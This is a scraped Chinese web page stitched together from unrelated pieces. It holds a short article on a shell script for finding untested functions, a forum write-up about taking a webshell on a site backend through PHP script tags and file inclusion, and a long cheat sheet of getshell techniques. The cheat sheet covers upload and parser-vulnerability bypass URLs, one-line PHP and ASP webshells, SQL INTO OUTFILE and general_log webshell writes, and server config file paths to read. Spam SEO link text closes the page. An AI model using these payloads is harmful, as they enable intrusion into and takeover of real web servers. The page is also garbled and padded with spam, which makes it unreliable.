整合營銷服務(wù)商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          技術(shù)文章-shell腳本實現(xiàn)的差集應(yīng)用

          技術(shù)文章-shell腳本實現(xiàn)的差集應(yīng)用

          享提綱:

          1. 問題背景

          2. 代碼實現(xiàn)

          1.問題背景

          在做公司的測試的自動化測試時,覆蓋了一些開發(fā)代碼的函數(shù),但是那些還沒有做,使用一個函數(shù)一個函數(shù)搜索的方法還是比較慢的,這里提供一種快速找出來還有那些函數(shù)沒有做的方法。

          大致的思路是,完全使用shell腳本實現(xiàn):

          1)【搜集函數(shù)html】

          將已經(jīng)做了的函數(shù),因為可以拿到url的html源碼,匹配出一個 函數(shù)集合 sourceWeb.log

          2)【執(zhí)行腳本獲取結(jié)果】

          -- 執(zhí)行腳本 sh run.sh, 里邊做的工作是獲取開發(fā)代碼中的函數(shù)集合 local_fun.log,遍歷這些函數(shù),沒有在文件sourceWeb.log中的就放到最終結(jié)果 result.log

          -- result.log 就是那些還未加到自動化測試的開發(fā)的函數(shù)

          2.代碼實現(xiàn)

          shell腳本 run.sh的代碼如下,最終生成結(jié)果是 result.log

          源碼的地址在 博客園:http://www.cnblogs.com/aiweixiao/p/6671381.html

          遇到問題,解決問題,不斷總結(jié),能力就會不斷提高了~

          x01 前言

          這個后臺是一個表哥給我的,然后作為菜雞的我去試著弄了一下,搞下了,就分享一下思路,文章很菜,希望各位大表哥手下留情,別噴~(菜雞第一次在春秋寫文章....)

          0x02 測試開始

          首先,后臺界面是這樣子滴(已處理,若文章漏碼請告知~)

          我先去云悉對這個站做了一些簡單識別,得到結(jié)果如下圖

          大致猜測是由Linux + Apache + Mysql + Php搭配的。但是Apache沒給我顯示他的版本,不知道是否存在解析漏洞。于是回到了后臺,去研究他的上傳文件的功能。

          他的這個系統(tǒng)很多地方存在上傳點,下圖就是一個上傳點

          他這里可以支持壓縮包的格式并且自解壓,于是我就想到將木馬放到壓縮包內(nèi)然后上傳這個壓縮包,使其自解壓,將木馬成功上傳到服務(wù)器。然后操作結(jié)束后,的確是上傳成功了。然而人生就是那么大起大落,并沒有成功的拿下shell,為毛呢,請看下面

          首先正常上傳

          然后查看上傳后的文件

          給我加了個txt.... 心想加了個txt就算了,我打開試試看能不能正常訪問

          丫的還是個403拒絕訪問。于是我又測試了幾個后綴的文件名,發(fā)現(xiàn)pdf和jpg

          等文檔和圖片類型是可以正常上傳并且進行訪問(pdf訪問會自動下載)

          不要在意打碼的內(nèi)容,他的確是可以訪問并且顯示了代碼。。只要腳本文件他就會自動在后面加上txt,于是放棄上傳壓縮包的方法,直接硬干上傳點,試試看能不能運氣爆棚碰巧就是一個解析漏洞.... 然后fuzz了許久,還是不行(就不寫上傳的過程了,沒成功寫了浪費時間~~)

          看樣子他的上傳是做了處理了,只能換思路了,然后這個時候逗神告訴了一個點,讓我拿下了這個shell

          他這里支持自定義html,用來做搜索引擎優(yōu)化,于是可以試著寫入php代碼來獲取shell,補充一下php的幾種定義寫法:

          1.<? echo 1; ?>
          2.<?php echo 2; ?>
          3.
          <script language="php"> 
          echo 3;
          </script>
          

          第三種寫法的標(biāo)簽是不是很熟悉。他不就是html中定義js代碼的標(biāo)簽嘛~,那么可以試著用這段代碼去試試,看能否被正常寫入進去。

          然后我就在自定義代碼去寫上了下面的代碼,保存進去

          <script language="php">
          phpinfo();
          </script>
          

          然后打開網(wǎng)站的首頁

          發(fā)現(xiàn)還是原網(wǎng)頁,沒有丁點的改變...... 。這個時候查看一下源代碼

          的的確確的代碼是被寫進去了,那么刷新一下試試

          ok,是正常的,然后執(zhí)行phpinfo的代碼也已經(jīng)不見了,已經(jīng)當(dāng)作php執(zhí)行了

          那么這個時候,構(gòu)造一下一句話木馬,然后進行連接操作。

          結(jié)果是連接不上去,換了其他的刀也是不行的,那么這條路就斷了嘛?shell就搞不定了嘛~

          0x03 文件包含getshell

          在前面有說到,他這個站有許多上傳點,我隨便找了一個上傳點,上傳了一個圖片格式的大馬,大馬的代碼如下:

          <?php
          

          然后通過一樣的步驟用下面的代碼

          <script language="php">
          include '../ezfiles/2/1002/img/92/123.jpg';//上傳的圖片地址
          </script>
          

          然后點擊修改進行保存,在回到網(wǎng)頁去刷新,然后在域名后面加上2.php去測試是否成功生成了這個文件

          成功getshell~ 由于是linux,老夫?qū)嵲跊]半點興趣提權(quán)啥的..... 就把shell給那位表哥后 繼續(xù)的去看妹子圖了

          0x04 結(jié)束語

          這次拿shell也不是很難,都是常見的操作,low的一批~ ,滲透就是要把知識點進行串聯(lián)起來,然后靈活的進行運用。各位大佬要是有啥高見歡迎私信交流,最后這句是重點,希望大佬們不要吐槽我這個菜雞的文章~~ 有啥意見私下地可以交流,畢竟這文章純屬虛構(gòu),如有雷同純屬巧合

          文章轉(zhuǎn)載自:https://bbs.ichunqiu.com/thread-49404-1-1.html

          作者i春秋id:最菜的kk

          etshell分為進管理員后臺Getshell和不進后臺Getshell,本文主要總結(jié)常見進后臺Getshell和部分。

          一、進后臺Getshell

          進臺Getshel

          1、管理員后臺直接Getshell

          管理員后臺直接上傳Getshell,有時候帶密碼的Webshell連接時容易被waf攔截,可以上傳不加密的Webshell如有權(quán)限限制可以嘗試管理后臺自帶的修改文件名功能在文件名前加../來穿越目錄,如上傳的文件為a.php,將a.php修改為../a.php。


          2、后臺數(shù)據(jù)庫備份Getshell

          后臺數(shù)據(jù)庫備份getshell,上傳圖片馬并獲取圖片馬路徑,通過數(shù)據(jù)庫備份修改后綴名,如有后綴名無法修改或路徑無法修改限制可修改前端代碼繞過,當(dāng)所備份的數(shù)據(jù)庫來源無法修改時,我們可以通過首先將一句話木馬寫入數(shù)據(jù)庫,比如通過新建管理員用戶,將用戶名用一句話木馬代替(用戶名通常有長度限制,在前端修改maxlength即可),<%eval

          然后再通過備份數(shù)據(jù)庫后訪問此界面Getshell。

          二、各類上傳Getshell

          各類上傳Getshell

          1、修改網(wǎng)站上傳類型Getshell

          修改網(wǎng)站上傳類型,后臺設(shè)置中添加aasps|asp|php|jsp|aspx|asa|cer,保存后上傳aasps文件,上傳后為asp文件可以解析Getshll。


          2、上傳其他腳本類型Getshell

          一臺服務(wù)器有多個站,如a網(wǎng)站為asp腳本,b網(wǎng)站為php腳本,而a中限制了上傳文件類型為asp的文件,此時可以上傳php的腳本,來拿shell;也可以嘗試腳本文件后綴名改為asa或者在后面直接加個.如xx.asp.來突破文件類型限制進行上傳來Getshell解

          三、解析漏洞Getshell

          1、IIS6.0解析漏洞

          ??http://www.xxx.com/xx.asp/xx.jpg??

          ??http://www.xxx.com/xx.asp/xx.txt??

          ??http://www.xxx.com/xx.asp/xx.asp;jpg??


          2、IIS7.0/7.5、Nginx<8.0解析漏洞

          ??http://www.xxx.com/xx.jpg/.php??


          3、Nginx<8.03空字節(jié)代碼執(zhí)行漏洞

          版本范圍:Nginx0.5.,0.6., 0.7 <=0.7.65, 0.8 <=0.8.37

          ??http://www.xxx.com/xx.jpg%00.php??


          4、Apache解析漏洞

          ??http://www.xxx.com/xx.php.owf.rar??逆向解析,直到能解析出php為止

          ?

          5、CVE-2013-4547 Nginx解析漏洞

          ??http://www.xxx.com/xx.jpg(非編碼空格)>??http://www.xxx.com/xx.jpg(非編碼空格)\0.php??<.php??

          四、編輯漏洞Getshell

          1、網(wǎng)站配置插馬Getshell

          進入后臺后,網(wǎng)站配置插馬getshell,可以找到源碼本地搭建,插入時注意與源碼閉合,如果插入出錯可能導(dǎo)致網(wǎng)站報廢。如asp中單引號表示單行注釋作用

          ??%><%eval request("v01cano")%><%??

          ?

          2、編輯器模版Getshell

          通過網(wǎng)站的模版編寫一句話,然后生成腳本文件getshell 通過將木馬添加到壓縮文件,把名字改為網(wǎng)站的模版類型,上傳到服務(wù)器,getshell)(新建或修改目錄名為xx.asp/ 此目錄下的jsp,html會以asp執(zhí)行,配置iis6.有0解析漏洞 。

          3、修改腳本文件Getshell

          修改后臺腳本文件插入一句話直接Getshell,盡量插在頭和尾 。

          ?

          4、上傳插件、更新頁面Getshell

          進入wordpress,dz等,如編輯wordpress404頁面插入一句話,可以先下載對應(yīng)版本找到404路徑,部分OA上傳插件Getshell, jboss,tomcat上傳war包getshell等。

          ?

          5、執(zhí)行sql語句寫入Webshell

          首先執(zhí)行錯誤的sql語句,使其暴露出網(wǎng)站的根目錄,以ecshop為例,進入后臺執(zhí)行sql查詢

          ??select "<?php phpinfo();?>" into outfile "C:\vulcms\ecshopv3.6\ecshop\v01cano.php";??

          關(guān)于此語句說明,在windows中有時候需要使用斜杠/有時候需要使用雙反斜杠\末尾有時候需要分號,有時候也不需要分號。也可以先將一句話通過ecshop的新建管理員寫入到user表中,然后通過數(shù)據(jù)庫備份配合解析漏洞Getshell。

          五、命令執(zhí)行Getshel

          1、Windows

          1.echo ^<^?php @eval($_POST[C0cho]);?^>^ >c:.php


          2、Linux

          1.echo -e "<?php @assert($_POST[C0cho])?>" > 1.php


          Linux需要在$前加\進行防轉(zhuǎn)義,Windows需要在<前加^防轉(zhuǎn)義,Windows和Linux中的 “可以使用’或不使用進行嘗試

          六、文件包含Getshell

          1、asp包含

          ?

          ??include file="123.jpg"??調(diào)用的文件必須和被調(diào)用的文件在同一目錄,否則找不到,如果不在同一目錄,用下面語句也使用如下代碼??include virtual="文件所在目錄/123.jpg"??

          2、php包含

          1. <?php
          2. include('123.jpg');
          3. ?>


          3、使用php://input

          使用burpsuite截取數(shù)據(jù)包,并修改內(nèi)容轉(zhuǎn)發(fā)(還可以使用hackbar工具中的post data中輸入??<?php fputs(fopen("shell1.php","w"),'1111<?php @assert($_POST[xss])?>2222')?>等一句話木馬)??

          截取get請求

          將一句話木馬

          訪問瀏覽器查看是否成功

          七、數(shù)據(jù)庫命令執(zhí)行Getshell

          1、Access導(dǎo)出

          Access可導(dǎo)出xxx等文件需要配合解析漏洞。

          1. create table cmd (a varchar(50));
          2. insert into cmd (a) values ('一句話木馬') #一句話木馬如:<%execute request(1)%>
          3. select * into [a] in 'e:\web\webshellcc.asa;x.xls' 'excel 4.0;' from cmd
          4. drop table cmd

          菜刀直連??https://www.webshell.cc/1.asa;x.xls??

          2、Sqlserver導(dǎo)出

          exec sp_makewebtask 'C:\test1.php','select "<%eval request("pass")%>"


          3、Mysql導(dǎo)出

          以phpMyAdmin為例:

          方法一

          1. create TABLE xiaoma (xiaoma1 text NOT NULL);
          2. insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma]);?>');
          3. select xiaoma1 from xiaoma into outfile 'D:/phpstudy/www/7.php';
          4. drop TABLE IF EXISTS xiaoma;


          方法二

          select "<?php eval($_POST[v01cano]);?>" into outfile 'D:/phpstudy/www/a.php'

          1.

          方法三

          當(dāng)數(shù)據(jù)庫路徑未知時Getshell

          1.//創(chuàng)建表a,并且將httpd.conf寫入到表a中

          2.create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;


          然后執(zhí)行導(dǎo)出操作,將該文件下載,使用notepad++打開,最后搜索documentroot,即可找到網(wǎng)站的根目錄:

          文件可能存在的一些路徑:

          1. # Windows
          2. c:\windows\php.ini # php配置文件
          3. c:\windows\system32\inetsrv\MetaBase.xml # IIS虛擬主機配置文件
          4. # Linux
          5. /etc/php.ini # php配置文件
          6. /etc/httpd/conf.d/php.conf
          7. /etc/httpd/conf/httpd.conf # Apache配置文件
          8. /usr/local/apache/conf/httpd.conf
          9. /usr/local/apache2/conf/httpd.conf

          10./usr/local/mysql

          11./user/local/httpd/conf/httpd.conf

          12./usr/local/apache/conf/extra/httpd-vhosts.conf # 虛擬目錄配置文件

          13./user/local/nginx/conf/httpd.conf # Nginx配置文件


          方法四

          通過load_file函數(shù)直接加載該文件內(nèi)容

          1、select load_file('C:/phpStudy/Apache/conf/httpd.conf');

          同時需要做如下配置


          方法五

          general_log_file方法獲取Webshell,show global variables like 'secure%'顯示secure_file_priv的值為NULL,不能利用寫into outfile寫木馬getshell。

          1、show global variables like "%genera%"; #查看genera文件配置情況

          2、set global general_log=off; #關(guān)閉general_log

          3、set global general_log='on'; #如果general_log關(guān)閉需要開啟

          4、set global general_log_file='D:/www/web/shell.php'


          方法六

          可執(zhí)行命令方式

          ??select '<?php echo \'<pre>\'; system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/shell.php'??

          使用方法

          www.xxx.com/shell.php?cmd=ipconfig #cmd=后面加命令


          方法七

          過殺毒軟件方式,上傳圖片馬c.jpg,圖片馬內(nèi)容如下:

          ??www.xxx.com/shell.php?cmd=ipconfig #cmd=后面加命令??

          導(dǎo)出Webshell

          ??select '<?php include 'c.jpg'?>' INTO OUTFILE 'D:/work/www/shell.php'??


          方法八

          直接導(dǎo)出加密Webshell

          ??select unhex('加密代碼') into dumpfile 'D:/www/web/shell.php'??


          八、不進后臺Getshell

          1、0day Getshell

          各類OA,coremail,cms,php框架,數(shù)據(jù)庫,java框架等0day,1day,nday Getshell 。

          ?

          2、寫入日志Getshell

          獲取日志路徑,在訪問過程中在url或者其他位置寫入??<?php eval($_POST[c]);?>;??等信息,使其日志記錄此代碼,然后訪問日志路徑,菜刀連接Getshell,如phpinfo();中能查看到error.log和access.log的路徑。


          3、IIS/Tomcat寫權(quán)限Getshell

          IIS6.0,put協(xié)議上傳手工或工具,批量掃描工具:iis put scaner,寫權(quán)限利用:桂林老兵

          Tomcat put上傳 CVE-2017-12615 工具傳送門:https://link.zhihu.com/?target=https%3A//github.com/iBearcat/CVE-2017-12615


          4、上傳會員頭像Getshell

          將Webshell放入文件夾,然后壓縮成zip文件。上傳正常頭像抓包將圖片文件內(nèi)容刪除,burp右鍵選擇文件黏貼功能,將zip包內(nèi)容復(fù)制到burp中的圖片內(nèi)容,放行后菜刀連接圖片上傳路徑下的文件夾(zip壓縮包名)下的Webshell 。

          ?

          5、遠程命令執(zhí)行

          參考Linux/Windows反彈shell,腳本語言、powershell反彈shell,Kali/Cobalt Strike等各種上線方法 。

          ?

          6、其他漏洞Getshell

          XXE,SSRF,反序列化,strust2等一種或多種組合利用Getshell 。


          主站蜘蛛池模板: 国产在线精品一区二区不卡| 成人免费视频一区| 精品人伦一区二区三区潘金莲| 日韩精品无码一区二区三区免费 | 久久一区不卡中文字幕| 深夜福利一区二区| 国产免费无码一区二区 | 国产免费一区二区三区在线观看| 国产av天堂一区二区三区| 无码一区二区三区AV免费| 变态调教一区二区三区| 人妻互换精品一区二区| 亚洲国产一区明星换脸| 日韩AV无码一区二区三区不卡| 精品中文字幕一区二区三区四区| 中文字幕在线一区二区在线| 国产精品合集一区二区三区 | 99国产精品一区二区| 日韩精品视频一区二区三区| 精品国产一区二区三区免费| 国模视频一区二区| 伊人久久精品无码麻豆一区| 国内偷窥一区二区三区视频| 亚洲片国产一区一级在线观看| 日韩在线视频不卡一区二区三区 | 日韩一区二区久久久久久| 乱子伦一区二区三区| 嫩B人妻精品一区二区三区| 一区二区高清视频在线观看| 麻豆AV无码精品一区二区| 日本一区二区免费看| 国产精品视频第一区二区三区| 国产情侣一区二区三区 | 国产高清在线精品一区二区| 欧洲亚洲综合一区二区三区| 99在线精品一区二区三区| 麻豆一区二区免费播放网站| 麻豆一区二区在我观看| 亚洲男女一区二区三区| 久久一区二区三区精华液使用方法| 人妻AV中文字幕一区二区三区|